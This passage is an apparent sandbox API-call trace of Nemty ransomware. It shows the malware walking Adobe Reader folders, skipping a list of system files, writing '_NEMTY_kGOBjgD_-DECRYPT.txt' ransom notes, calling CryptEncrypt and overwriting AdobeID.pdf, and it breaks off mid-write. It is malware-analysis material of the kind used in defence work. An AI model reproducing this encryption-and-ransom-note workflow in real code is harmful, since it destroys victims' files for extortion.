lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.499] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0171.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.499] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19d58bf0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19d58bf0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19d58bf0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.499] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.500] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ESP", cAlternateFileName="")) returned 1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2=".") returned 1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="..") returned 1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="...") returned 1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="windows") returned -1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="$RECYCLE.BIN") returned 1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="rsa") returned -1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="NTDETECT.COM") returned -1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="ntldr") returned -1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="MSDOS.SYS") returned -1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="IO.SYS") returned -1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="boot.ini") returned 1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="boot.ini") returned 1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="AUTOEXEC.BAT") returned 1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="ntuser.dat") returned -1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="desktop.ini") returned 1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="CONFIG.SYS") returned 1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="RECYCLER") returned -1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="BOOTSECT.BAK") returned 1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="bootmgr") returned 1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="programdata") returned -1 [0171.500] lstrcmpiW (lpString1="ESP", lpString2="appdata") returned 1 [0171.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ESP", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ESP", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ESP", lpUsedDefaultChar=0x0) returned 3 [0171.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ESP", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ESP", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ESP", lpUsedDefaultChar=0x0) returned 3 [0171.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0171.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.501] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.502] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.502] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.503] CloseHandle (hObject=0x254) returned 1 [0171.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.503] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.504] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.504] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.505] CloseHandle (hObject=0x254) returned 1 [0171.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.505] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19dcb010, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19dcb010, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.505] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.505] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19dcb010, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19dcb010, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.505] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.505] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.505] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x109db, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.505] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.505] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.505] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.505] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.505] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.505] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.505] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.505] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.505] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.505] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.505] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.505] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.505] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.505] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.506] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.506] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.506] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.506] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.506] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.506] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.506] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.506] Sleep (dwMilliseconds=0x5) [0171.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19e172d0, dwHighDateTime=0x1d561e8)) [0171.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19e172d0, dwHighDateTime=0x1d561e8)) [0171.520] GetLastError () returned 0xb7 [0171.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.520] GetLastError () returned 0xb7 [0171.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.520] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.520] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.520] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.520] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="ksq/ELITzZSZJ4RGHRk+wvBaN+8OLmqs1URAUvWgdNuxCcG+3kH83RKEraBrAq1K\r\n11P05F/PSAmKj3lJ8hZ3DvY+FXvEIvhPar40ToBxBPqPMmakzRX4sGgo49y47DHK\r\nq0o9JoZm/Hsqj4ffDfyoTgCJ90lZGndmIo8Ut9HHHzztBkScsvW2+TShe35jprtN\r\n2r7SCA8yNAakWh1f56SK0E5hgpJFvDl1w/fHKp4ERwXKA/p3WE/pSMccs4C6oqLz\r\nfaV3U6En0LmotTu9/IjF9EyXkM1pZLp+RKXcvsp3QvsBim5YxU59RZIr0Dw9GvEY\r\nYVr8tEfWNE/bqRLQSvZOoA==\r\n", pcchString=0x653e5dc) returned 1 [0171.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.520] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.521] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=68059) returned 1 [0171.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x109d0) returned 0x6352c48 [0171.521] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.521] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x109d0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x109d0, lpOverlapped=0x0) returned 1 [0171.527] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.527] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x109d0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x109d0, 